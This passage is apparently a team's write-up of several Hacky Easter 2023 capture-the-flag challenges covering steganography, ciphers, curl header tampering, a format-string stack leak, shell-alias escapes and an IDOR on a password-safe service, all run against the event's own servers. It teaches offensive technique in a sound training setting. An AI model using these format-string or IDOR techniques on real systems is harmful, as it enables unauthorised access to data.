bc8282fbecf8b1889787fef0adfb9fcfdfbd989b8fb2c3e891bea9cdfdcce5b2eddbc99cd2e1eefaf6cab2e1c89186a697abcad98ada94a1b5c0a2e4f291c9eabdaec2cbcce0ade1e7a492c58ae3b0c69baefce988e7ead39abff1cf9ada8dd59d8a9bf1e4b4a0c4dfc9d9f1f0e0be938a88a6cef7e8fcaeb5a9caf4bec5dde184e288dec9bae7998ceae7dfdced95e8d9a9aa8db996e5ce7fa1a6908d9edbc0d2b296fdefa890dbc8dcb0f4be839992dcdafdb3a596cb97e2a5ebf28cc7a4d0a0f8d49cb3a188fabf8ad789efb5f3ac8c839ddea189ea97d9c2a0c991d589bebb9dce9db6e6bbe6e9f2a8c2819fa5e48fe8b587b7e38c9dc6ced4d7d9fdfb81a9c0"

# lets interpret this as a bunch of pixels in hex format (6 characters per pixel)
outimg = Image.new( 'RGB', (21,21), "black")
pixels_out = outimg.load()


for i in range(0,len(hexstring),6):
    color = hexstring[i:i+6]
    pix = int(i/6)

    x = int(pix/21)
    z = int(pix%21)

    pixels_out[(x,z)]=(int(color[0:2],16),int(color[2:4],16),int(color[4:6],16))

# save the image
outimgname = "bouncy.png"
outimg = outimg.resize((500,500), resample=Image.NEAREST)
outimg.save(outimgname,"png")

This gives us an image, but nothing obvious there

We pass it through StegOnline, and whaddya know, one of the bitplanes contains a QR code! ..shoulda known, it’s always the LSB..

Flag

he2023{n0_b0uNc}

A Mysterious Parchment

Challenge

On their holiday, the bunnies came across a sleepy village with an interesting tower. While enjoying the view, one of them found a crumpled parchment in a corner. “Hah, that’s clever!”, the bunnies agreed after quickly solving the code and altered it ever so slightly.

Solution

The challenge said the bunnies altered the parchment slightly, so let’s find the original so we can compare.

Some Googling tells us this is parchment of Bérenger Saunière, found in the Church of Mary Magdalene at Rennes-le-Château by Bérenger Saunière. It is said that these documents led to the discovery of the famed treasure of Rennes-le-Château.

Coded messages were later found by historian Henry Lincoln. 

I noticed that some of the letter were moved up compared to the original, so this must be the bunnies code. I simply onderlined all the higher letters and read off the flag

its spells out but is it a cool old parchment it sure is. The instructions say the flag is all uppercase and no spaces, so we know our flag

Flag

he2023{BUTISITACOOLOLDCODEITSUREIS}

Hamster

Challenge

The Hamster has a flag for you.

http://ch.hackyeaster.com:2301

Note: The service is restarted every hour at x:00.

Solution

We visit the url and get various responsed of how to alter our requests, so we use curl and follow instructions:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ curl http://ch.hackyeaster.com:2301
Howdy, I am the hamster.Please go to /feed

# ok, let's go to /feed
$ curl http://ch.hackyeaster.com:2301/feed
only hamster-agent is allowed

# so let's set a user-agent
$ curl -A "hamster-agent"  http://ch.hackyeaster.com:2301/feed
⛳ GET invalid

# maybe POST? PUT? Yes, you want put
$ curl -A "hamster-agent" -X PUT http://ch.hackyeaster.com:2301/feed
🛑 request must come from hackyhamster.org

# ok, let's set a referrer
$ curl -A "hamster-agent" -X PUT -e "hackyhamster.org" http://ch.hackyeaster.com:2301/feed
🍪 brownie not found

# want a cookie? here you go.
$ curl -A "hamster-agent" -X PUT -e "hackyhamster.org" --cookie "brownie=brownie" http://ch.hackyeaster.com:2301/feed
🍪 brownie must be baked

# ok, set the value to baked
$ curl -A "hamster-agent" -X PUT -e "hackyhamster.org" --cookie "brownie=baked" http://ch.hackyeaster.com:2301/feed
🚩 he2023{s1mpl3_h34d3r_t4mp3r1ng}

#whoo, we got it!

Flag

he2023{s1mpl3_h34d3r_t4mp3r1ng}

Lost in (French) Space

Challenge

My friend went to France and sent me coordinates of interesting things he found.

Three of them look legit, but one does not make sense to me.

1
2
3
4
48.998 2.008
45.960 0.090
43.579 1.524
45.007 4.335

🚩 Flag

  • the first word of the thing you find
  • six lowercase letters
  • wrapped in flag format, e.g. he2023{thingy}

Solution

We look up the coordinates in Google Maps, 3 of them are for french observatories, the fourth on (45.960 0.090) leads us to an empty field, so that must be the one that doesn’t make sense.

1
2
3
4
48.998 2.008  # Observatoire de Triel
45.960 0.090  # ??
43.579 1.524  # Le sentier des planètes
45.007 4.335  # Planète Mars Observatoire Hubert Reeves

Since the other 3 lead to observatories, what if the coordinates are to another planet? Let’s try Mars first since that is part of the name of one of the observatories.

We use NASA’s website Mars Trek and go to the coordinates 45.960 0.090. There is a crater right there! We find it’s name is Davies crater.

And that is indeed the flag!

Flag

he2023{davies}

Spy Tricks

Challenge

The bunny spymaster found a tiny note in a forgotten dead drop and is now scratching her head; she’s sure she once knew the code, but there are too many swirling aorund in her head right now. Can you help her decipher the message?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
27231 21597 10016 20971 24727 24414 22223 25666 20345 26292
26605 23788 20345 26292 21597 10016 27857 24727 26605 10016
24727 24414 10016 20345 10016 25979 20345 21910 21597 10016
20345 25666 25666 22849 26918 20345 23788 14398 10016 27231
21597 10016 20971 24727 24414 21910 22849 25666 24101 10016
26292 22536 21597 10016 25666 21597 20971 21597 22849 25040
26292 10016 24727 21910 10016 27857 24727 26605 25666 10016
23788 21597 26292 26292 21597 25666 10016 26292 24727 10016
26292 22536 21597 10016 20345 21284 21284 25666 21597 25979
25979 10016 26918 10016 25666 21597 25040 21597 20345 26292
10016 26918 10016 20345 24414 21284 10016 26292 22536 21597
10016 25666 21597 20345 21284 22849 24414 22223 10016 24727
21910 10016 23788 21597 26292 26292 21597 25666 10016 24414
26605 24101 20658 21597 25666 10016 15337 14398 03130 32552
31613 15650 15024 15650 15963 38499 22849 29735 33804 32865
33491 31613 29735 15963 15024 15963 29735 30674 15963 36308
36308 31613 35682 29735 30674 36621 36308 29735 36308 32552
30361 36308 35995 29735 34430 15024 36308 29735 35056 35682
15337 34117 31613 39125 03130 26292 22536 21597 10016 25040
20345 20971 23475 20345 22223 21597 10016 27231 20345 25979
10016 21284 21597 23788 22849 26918 21597 25666 21597 21284
10016 26292 24727 10016 27857 24727 26605 25666 10016 27231
22849 21910 21597 10016 25040 21597 25666 25979 24727 24414
20345 23788 23788 27857 14398 10016 21597 26918 21597 25666
27857 26292 22536 22849 24414 22223 10016 22849 25979 10016
20345 23788 23788 10016 25666 22849 22223 22536 26292 10016
27231 22849 26292 22536 10016 26292 22536 21597 10016 21910
20345 24101 22849 23788 27857 14398 10016 27231 21597 10016
27231 22849 25979 22536 10016 27857 24727 26605 10016 25979
26605 20971 20971 21597 25979 25979 14398 10016 22223 25666
21597 21597 26292 22849 24414 22223 25979 10016 21910 25666
24727 24101 10016 26292 22536 21597 10016 20971 24727 24101
25666 20345 21284 21597 25979 14398 10016 24414 26605 24101
20658 21597 25666 10016 15337 13772 10016 15963 25666 21284
10016 24727 21910 10016 21284 21597 20971 21597 24101 20658
21597 25666 14398 03130

Solution

We applied random characters to this and put it through a cryptogram solver which go us .. quite close

1
WESCONGRATULATESYOUSONSASBAFESARRISALYSWESCONFIRMSTHESRECEIPTSOFSYOURSLETTERSTOSTHESADDREBBSSSREPEATSSSANDSTHESREADINGSOFSLETTERSNUMVERSJYUAXQZQXMIZDVCXZXZXZQXKKXHZQLKZKAJKIZFZKZGHJEXNUTHESPACKAGESWABSDELISEREDSTOSYOURSWIFESPERBONALLYYS

and then took that into python where we made more progress with a 52 character subtitution alphabet:

1
2
3
we congratulate you on a safe arrival. we confirm the receipt of your letter to the address v repeat v and the reading of letter number 1.
HE2023{i_LIKE_303_D3SSEQ_DRS_SHCSP_O0S_NQ1ME}
the package was delivered to your wife personally. everything is all right with the family. we wish you success. greetings from the comrades. number 1: 3rd of december.

Saskia eventually got this into

1
HE2023{i_LIKE_303_B3TTER_BUT_THATS_N0T_PR1ME}

Which we tried, and then tried lower case which wasn’t right (:eyes:)

So we tried doing it their way which was clearly intended and did a common factor finder and oh whoopsie it was actually really simple:

1
2
3
data = open('intercepted_message.txt', 'r').read().replace('\n', ' ').split(' ')
data = map(int, data[0:-1])
print(''.join([chr(x // 313) for x in data]))

and wow that was really simple, we just forgot to also capitalise the I when we uncapitalised the rest:

Flag

he2023{I_like_303_b3tter_but_thats_n0t_pr1me}

Thumper's PWN 3

Challenge

Thumper has been hunting his nemesis, Dr. Evil, for months. He finally located his remote system and is trying to gain access. Can you help him find the right password?

Target: nc ch.hackyeaster.com 2313

Solution

we find out its a format string vulnerability and read values off the stack.

we get something interesting by giving %7$s as the password

1
2
3
4
5
6
7
$ nc ch.hackyeaster.com 2313

Welcome to the password protected vault
Please enter your password: %7$s
Nope..
5uP3R_s3cUr3_PW
is incorrect. Better luck next time

we use this password to log in and get our flag!

1
2
3
4
5
6
7
$ nc ch.hackyeaster.com 2313

Welcome to the password protected vault
Please enter your password: 5uP3R_s3cUr3_PW
Access granted, here is your flag:

he2023{w3lc0m3_t0_r1ng_3_thump3r}

Flag

he2023{w3lc0m3_t0_r1ng_3_thump3r}

Ghost in a Shell

Challenge

1
2
3
4
5
6
7
8
9
10
  _, _,_  _,  _, ___   _ _, _    _,    _, _,_ __, _,  _,    , ,   ,
 / _ |_| / \ (_   |    | |\ |   /_\   (_  |_| |_  |   |     | \   /
 \ / | | \ / , )  |    | | \|   | |   , ) | | |   | , | ,   |  \ /
  ~  ~ ~  ~   ~   ~    ~ ~  ~   ~ ~    ~  ~ ~ ~~~ ~~~ ~~~   ~   ~
______________________________________________________________________
 ,--.     ,--.     ,--.     ,--.
| oo |   | oo |   | oo |   | oo |
| ~~ |   | ~~ |   | ~~ |   | ~~ |  o  o  o  o  o  o  o  o  o  o  o  o
|/\/\|   |/\/\|   |/\/\|   |/\/\|
______________________________________________________________________

Connect to the server, snoop around, and find the flag!

  • ssh ch.hackyeaster.com -p 2306 -l blinky
  • password is: blinkblink

Solution

Let’s log in and see what we have:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
$ ssh ch.hackyeaster.com -p 2306 -l blinky
blinky@ch.hackyeaster.com's password:

  _, _,_  _,  _, ___   _ _, _    _,    _, _,_ __, _,  _,    , ,   ,
 / _ |_| / \ (_   |    | |\ |   /_\   (_  |_| |_  |   |     | \   /
 \ / | | \ / , )  |    | | \|   | |   , ) | | |   | , | ,   |  \ /
  ~  ~ ~  ~   ~   ~    ~ ~  ~   ~ ~    ~  ~ ~ ~~~ ~~~ ~~~   ~   ~
______________________________________________________________________
 ,--.     ,--.     ,--.     ,--.
| oo |   | oo |   | oo |   | oo |
| ~~ |   | ~~ |   | ~~ |   | ~~ |  o  o  o  o  o  o  o  o  o  o  o  o
|/\/\|   |/\/\|   |/\/\|   |/\/\|
______________________________________________________________________

Find the flag!
ab81e1e4280b:~$ ls
about.txt
blinky
flag.txt
ab81e1e4280b:~$ cat flag.txt
|\---/|
| o_o |  meow!
 \___/
ab81e1e4280b:~$ less flag.txt
|\---/|
| o_o |  meow!
 \___/
ab81e1e4280b:~$ more flag.txt
|\---/|
| o_o |  meow!
 \___/
ab81e1e4280b:~$ ls -la
about.txt
blinky
flag.txt

ok, a bunch of commands are acting weird, let’s see if they setup some aliases to make our lives difficult.. yep!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ alias
alias ash='exit'
alias bash='echo "you are not a bash brother" && exit'
alias cat='echo "|\---/|" && echo "| o_o |  meow!" && echo " \___/" #'
alias cd='/bin/true'
alias egrep='echo "" #'
alias fgrep='echo "" #'
alias find='echo "command not found: find" #'
alias fzip='/usr/bin/zip -P "/bin/funzip"'
alias grep='echo "" #'
alias id='echo "uid=0(root) gid=0(root) groups=0(root)"'
alias java='echo "command not found: java" #'
alias less='echo "|\---/|" && echo "| o_o |  meow!" && echo " \___/" #'
alias ls='/bin/ls /home/blinky | /bin/grep -v home #'
alias more='echo "|\---/|" && echo "| o_o |  meow!" && echo " \___/" #'
alias pwd='echo /home/blinky #'
alias python='echo "command not found: python" #'
alias vi='echo "command not found: vi" #'
alias vim='echo "command not found: vim" #'
alias whoami='echo "you are you"'
alias zip='echo "command not found: zip" #'
alias zsh='exit'

to fix this we do

1
2
$ unalias sh
$ sh

to get a clean shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
ab81e1e4280b:~$ unalias sh
ab81e1e4280b:~$ sh
b81e1e4280b:~$ cat about.txt
Blinky, ankaŭ konata kiel Akabei, estas la gvidanto de la Fantomoj kaj la ĉefmalamiko de Pac-Man. Li ankaŭ estas prezentita kiel la plej agresema fantomo kiu ĉiam postkuras Pac-Man, kaj malfacilas skui post kiam li komencas. Li povas havi humoron, kaj estas bonaj amikoj kun Pinky, Inky, kaj Clyde. Li ankaŭ havas filinon nomitan Yum-Yum.

Dum origine la ĉefantagonisto en la unua Pac-Man arkadludo, lia antagonisma rolo de la franĉizo estis plejparte malpliigita al aliancano en lastatempaj enkarniĝoj, kvankam li daŭre estas konsiderita la serio-fakta ĉefa antagonisto en refilmigoj de la unua matĉo kaj de pli maljunaj adorantoj.

ab81e1e4280b:~$ cat flag.txt
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣶⣿⣿⣿⣿⣿⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⣿⣿⠿⠟⠛⠻⣿⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀don't try⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣆⣀⣀⠀⣿⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀- brute force⠀⠀⠀⠀⠀⠀⢸⠻⣿⣿⣿⠅⠛⠋⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀- wordlists⠀⠀⠀⠀⠀⠀⠀⠀⠘⢼⣿⣿⣿⣃⠠⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣟⡿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣛⣛⣫⡄⠀⢸⣦⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣴⣾⡆⠸⣿⣿⣿⡷⠂⠨⣿⣿⣿⣿⣶⣦⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣤⣾⣿⣿⣿⣿⡇⢀⣿⡿⠋⠁⢀⡶⠪⣉⢸⣿⣿⣿⣿⣿⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⣿⣿⣿⣿⣿⣿⣿⡏⢸⣿⣷⣿⣿⣷⣦⡙⣿⣿⣿⣿⣿⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⣿⣿⣿⣿⣿⣿⣿⣇⢸⣿⣿⣿⣿⣿⣷⣦⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣿⣵⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣯⡁⠀

The text is Esperanto, Google translates it as

Blinky, also known as Akabei, is the leader of the Ghosts and Pac-Man’s archenemy. He is also depicted as the most aggressive ghost who always chases Pac-Man, and is hard to shake once he starts. He can have a temper, and is good friends with Pinky, Inky, and Clyde. He also has a daughter named Yum-Yum. While originally the main antagonist in the first Pac-Man arcade game, his antagonistic role of the franchise has been largely diminished to an ally in recent incarnations, although he is still considered the series-de facto main antagonist in remakes of the first game and by older fans.

We also find another directory that was previously hidden from us by the ls alias, in it we find a zip file (with a curious .fzip extension):

1
2
3
4
5
6
7
8
9
10
11
12
13
ab81e1e4280b:~$ ls
about.txt  blinky     flag.txt   home
ab81e1e4280b:~$ ls home/
blinky
ab81e1e4280b:~$ ls home/blinky/
blinkyflag.fzip
ab81e1e4280b:~$ cd home/blinky/
ab81e1e4280b:~/home/blinky$ unzip blinkyflag.fzip
Archive:  blinkyflag.fzip
[blinkyflag.fzip] flag.txt password:
password incorrect--reenter:
password incorrect--reenter:
   skipping: flag.txt                incorrect password

We are told we don’t need to brutforce of guess the password, so there must be a hint to the password around here somewhere..

We look more closely to the aliases they set up, and see

1
alias fzip='/usr/bin/zip -P "/bin/fyunzip"'

ah! they fzipped it, which was an alias for zipping with password /bin/funzip

1
2
3
4
ab81e1e4280b:~/home/blinky$ unzip -P "/bin/funzip" blinkyflag.fzip
Archive:  blinkyflag.fzip
error:  cannot create flag.txt
        Permission denied

arg, so close, but we don’t have permissions to create the unzipped file..

let’s just get the zip file off the server and do it locally

1
2
3
4
5
ab81e1e4280b:~/home/blinky$ cat blinkyflag.fzip | base64
UEsDBAoACQAAABCUNlVt6MFvLgAAACIAAAAIABwAZmxhZy50eHRVVAkAAyCOLGMgjixjdXgLAAEE
9QEAAAQUAAAAUr8PpJEFxM8HYAIupC/n3QYqp8g44yt7Z/fJ6CdpTcNVM403V0iMcz9C8hb3DFBL
Bwht6MFvLgAAACIAAABQSwECHgMKAAkAAAAQlDZVbejBby4AAAAiAAAACAAYAAAAAAABAAAApIEA
AAAAZmxhZy50eHRVVAUAAyCOLGN1eAsAAQT1AQAABBQAAABQSwUGAAAAAAEAAQBOAAAAgAAAAAAA

and then locally:

1
2
3
4
5
6
7
8
9
10
11
$ echo "UEsDBAoACQAAABCUNlVt6MFvLgAAACIAAAAIABwAZmxhZy50eHRVVAkAAyCOLGMgjixjdXgLAAEE
9QEAAAQUAAAAUr8PpJEFxM8HYAIupC/n3QYqp8g44yt7Z/fJ6CdpTcNVM403V0iMcz9C8hb3DFBL
Bwht6MFvLgAAACIAAABQSwECHgMKAAkAAAAQlDZVbejBby4AAAAiAAAACAAYAAAAAAABAAAApIEA
AAAAZmxhZy50eHRVVAUAAyCOLGN1eAsAAQT1AQAABBQAAABQSwUGAAAAAAEAAQBOAAAAgAAAAAAA
" | base64 -d > pacman.fzip
$ unzip -P "/bin/funzip" pacman.fzip
Archive:  pacman.fzip
 extracting: flag.txt
$ cat flag.txt
he2023{al1asses-4-fUn-and-pr0fit}

whoo!!

that was fun :)

Flag

he2023{al1asses-4-fUn-and-pr0fit}

Going Round

Challenge

I got a flag, but it’s encrypted somehow: ip0232j{1t_x_v0z4b3bm__v4xvq}a

It was created using the following service:

http://ch.hackyeaster.com:2305

Note: The service is restarted every hour at x:00.

Solution

We get a service that takes our input and shows the encrypted flag.

It’s clear its doing a rotation cipher (alternating between a rotation of 4 and 8 character), and also swapping the positions of pairs of letters.

It was easy enough to fiddle with our string in the service until we get the encrypted flag we were given, and thus know the real flag.

Flag

he2023{fl1p_n_r0t4t3_in_p4irs}

Number's Station

Challenge

“Testing, testing, one, two, one, zero..” - the bunnies found a strange radio station when looking for uplifting BunnyBop; can you find out what the nice Spanish lady is saying?

Hint:

There are 10 kinds of people in this world.

Those who understand binary, and those who don’t.

numbers.mp3

Solution

We transcribe it with Whisper which is really annoying since it constantly loses it’s plot and I’ve ended up manually transcribing about half of the audio as a result:

1
2
3
4
5
6
7
8
9
10
11
12
13
0 4 B 6 1 4 1 5 0 4 1 3 0 4 0 7 0 9 0 7 1 7 1 6 0 3 0 9 1 7 0 9 1 8 0 6 0 6 1 6 1 6 0 3 0 4 1 4 0 2
0 4 0 3 1 4 1 7 0 4 0 3 0 6 0 9 0 6 0 2 1 8 1 7 0 9 0 4 1 3 0 3 0 3 0 7 1 8 1 5 0 3 0 4 1 7 1 2 0 9
1 7 1 2 1 3 1 7 0 7 1 9 1 6 0 4 1 8 0 4 0 2 1 8 1 7 0 6 0 8 0 5 0 4 1 5 1 4 0 6 0 9 0 5 1 9 0 2 1 4
1 8 1 3 0 4 0 7 1 6 1 4 0 7 1 6 1 6 1 2 0 5 1 2 0 9 0 8 0 7 1 8 1 5 0 8 0 3 1 2 0 4 1 4 0 6 1 4 1 5
0 6 1 4 1 2 1 7 0 8 0 3 1 2 1 9 0 7 1 8 0 2 0 4 1 3 0 5 1 5 1 3 0 2 1 3 1 2 1 8 0 2 0 2 1 2 1 8 0 5
0 4 1 2 1 3 1 6 0 9 1 2 0 3 1 4 1 5 1 8 1 4 1 6 0 3 1 6 1 5 1 8 0 6 1 9 0 7 0 3 0 8 1 7 1 7 0 9 1 8
1 4 1 3 1 7 0 4 1 9 0 5 1 6 1 3 1 2 1 2 1 8 0 7 1 8 1 4 1 2 0 2 0 6 1 7 1 7 0 4 1 4 1 9 1 3 0 7 0 4
0 3 0 6 0 2 1 4 1 6 1 9 1 9 0 9 0 4 1 6 0 7 1 7 0 8 1 2 1 8 1 3 1 7 1 8 0 2 1 7 1 9 0 4 0 2 0 2 1 3
1 2 0 9 0 5 1 2 1 9 0 9 0 5 0 4 0 9 0 5 1 8 1 7 0 4 1 5 1 6 0 5 1 7 0 3 1 6 1 3 0 9 1 8 1 4 0 4 1 6
0 2 1 3 1 3 1 9 0 5 1 8 0 5 1 8 0 6 1 5 1 8 0 9 1 2 1 2 1 7 0 3 0 5 1 3 1 3 0 4 1 7 0 7 0 6 1 2 0 4
1 5 1 2 0 3 0 8 0 6 1 9 1 6 0 2 1 3 1 3 0 7 0 5 0 9 0 2 1 3 0 2 1 7 1 9 1 3 0 9 1 6 0 5 0 9 0 4 0 4
1 4 1 7 0 6 0 3 0 4 1 7 0 4 1 8 1 6 0 4 1 4 1 6 1 6 1 2 0 6 1 4 1 2 0 5 1 7 1 8 1 3 0 6 0 3 1 3 1 7
1 4 0 4 0 7 1 3 1 8 0 9 1 2 1 7 1 7 1 2 1 2 0 5 1 7

the even columns are all either 0 or 1 (with the exception of the first ‘b’ I’m guessing for ‘binary’). The newlines were inserted around roughly the pauses in the audio.

So let’s pull out those two columns:

1
2
3
4
5
6
7
8
9
10
11
12
13
4645434797763979866663442
4347436962879433378534729
7237796484287685454695924
8347647662529878583244645
6427832978243553232822285
4236923458463658697387798
4374956322878422677449374
3624699946778283782794223
2952995495874565736398446
2339585865892273533477624
5238696233759232793965944
4763474864466264257836337
4473892772257

And the binary ones:

1
2
3
4
5
6
7
8
9
10
11
12
13
0B11010000110010100110010
0011000000110010001100110
1111011010011000011000101
1100110111010001100101011
0111001101001011011100110
0111010111110111010001101
1110101111101110011011100
0001111001010111110110001
1001100000110110101101101
0111010101101110011010010
1100011011000010111010000
1100010110111101101110011
1001101111101

which turn up… nothing on ascii2hex. Odd. Could be transcription errors, but, still.

Saskia points out that if you add a zero at the start, then it decodes completely properly.

Flag

he2023{L1stening_to_spy_c0mmunicat1ons}

Igor's Gory Passwordsafe

Challenge

You found the following letter:

Hi Peter

Thanks again for your help in cryptography to make the passwordsafe secure. Now

  • The passwords of the user are stored in a irreversible way (bcrypt)
  • All passwords in the safe are encrypted by a strong symmetric key

Kind regards, Roy

Open the passwordsafe at at http://ch.hackyeaster.com:2312 to get your 🚩 flag.

Note: The service is restarted every hour at x:00.

Solution

website where we can create an account, then add passwords to our vault, en from there there is an option to copy, edit or delete the passwords in the vault

So we create an account. We cannot make one with the name igor, so probably we need to impersonate igor to get into his vault?

When we create a password, it gets id 12, I wonder why it starts there..

We find the code for copying a password, its a simple call to /get/<id> ..so let’s just try some other ids?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$(document).ready(function () {
    console.log("Application is running")

    $(".copypassword").click(function (obj) {
        if (obj.target.id.startsWith("copypassword_")) {
            id = obj.target.id.split("_")[1];
            $.get("/get/" + id, function (data, status) {
                if (status == "success") {
                    navigator.clipboard.writeText(data);
                }
            });
        }
    });

    $(document).ready(function(){
        setInterval(flashingEyes,1000);
     });
     function flashingEyes(){
        $("#eyes").fadeIn(400).delay(200).fadeOut(400);
     }

});

In the end, we find our flag when we try id 07 (by simply going to http://ch.hackyeaster.com:2312/get/07), we get the response he2023{1d0R_c4n_d3str0y_ur_Crypt0_3ff0rt}

The flag refers to Insecure direct object reference (IDOR)

(other id’s contain responses like SQLI_doesnt_help, verySecure, Well_not_the_flag, White_Rabbit_99)

ok, that was.. easier than I thought it was going to be ..was definitely overthinking this one for the longest time.

Flag

he2023{1d0R_c4n_d3str0y_ur_Crypt0_3ff0rt}

Singular

Challenge

Wow, so many flags!

Find the real flag, which is unique in multiple ways.

singular.zip

Hint: This one can be solved with linux commands, with a one-liner.

Solution

Here it is as a one liner:

1
cat writeupfiles/singular/singular.txt | sort | uniq -c | grep ' 1 ' | awk '{print length($0), $0}' | grep $(cat writeupfiles/singular/singular.txt | sort | uniq -c | grep ' 1 ' | awk '{print length($0)}' | sort | uniq -c | grep ' 1 ' | awk '{print $2}')

It looks for unique flags, then finds the one that has a unique length (33 characters).

Sounds simple? hell no, this one really stumped me for a long time, I solved half of level 8 before this one lol. Below you can find a lot of the things we tried and notes we made of a lot of the rabbit holes we went down :P

First let’s get the real uniques:

1
cat singular.txt | sort | uniq -c | grep ' 1 ' | egrep he.* -o > unique.txt

Those are unique within the entire file which we can reasonably assume from the challenge description.

Tried a bunch of things next that didn’t work, requiring each word to be unique in the file, in the unique flags, in its column, ..nothing. ..maybe the words all synonyms of unique? nope nope nope.

In discord we see the additional hint:

While it’s unique from top to bottom, it’s unique from left to right as well

So let’s look for things which do not re-use a single letter letter from left to right:

1
2
$ cat unique.txt | egrep '\{(.*)\}' -o | egrep '([^_]).*\1' --invert-match
$

nothing. Every single entry re-uses letters left to right.

Word Frequency

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ cat unique.txt | egrep '\{(.*)\}' -o | wf | sort -n
Total words: 960
    1	Mr
    1	act
    1	as
    1	because
    1	begin
    1	body
    1	boy
    1	cause
    1	crime
    ...
   10	represent
   10	ten
   10	yes
   11	become
   11	party
   11	service

lots of unique, and non-unique words.

1
2
3
4
5
6
7
8
9
10
11
12
$ egrep -f <( cat unique.txt | egrep '\{(.*)\}' -o | wf | sort -n | egrep '\s1\s' | cut -f 2 | sed -r 's/(.*)/_?\1_?/g') unique.txt
Total words: 960
he2023{according_physical_success_ask}
he2023{account_consider_small_medical}
he2023{action_and_cell_indeed}
he2023{activity_know_shoulder_bring}
he2023{actually_still_thank_available}
he2023{add_girl_everything_care}
he2023{add_measure_staff_will}
he2023{affect_help_check_season}
he2023{again_different_economic_improve}
he2023{alone_of_Mrs_trade}

But none of them have two unique words (based on grep colouring). Similar result of you check the extremely non-unique ones:

1
$ egrep -f <( cat unique.txt | egrep '\{(.*)\}' -o | wf | sort -n | egrep '\s11\s' | cut -f 2 | sed -r 's/(.*)/_?\1_?/g') unique.txt

Capitals?

Not that many have capitals

1
2
3
4
5
6
7
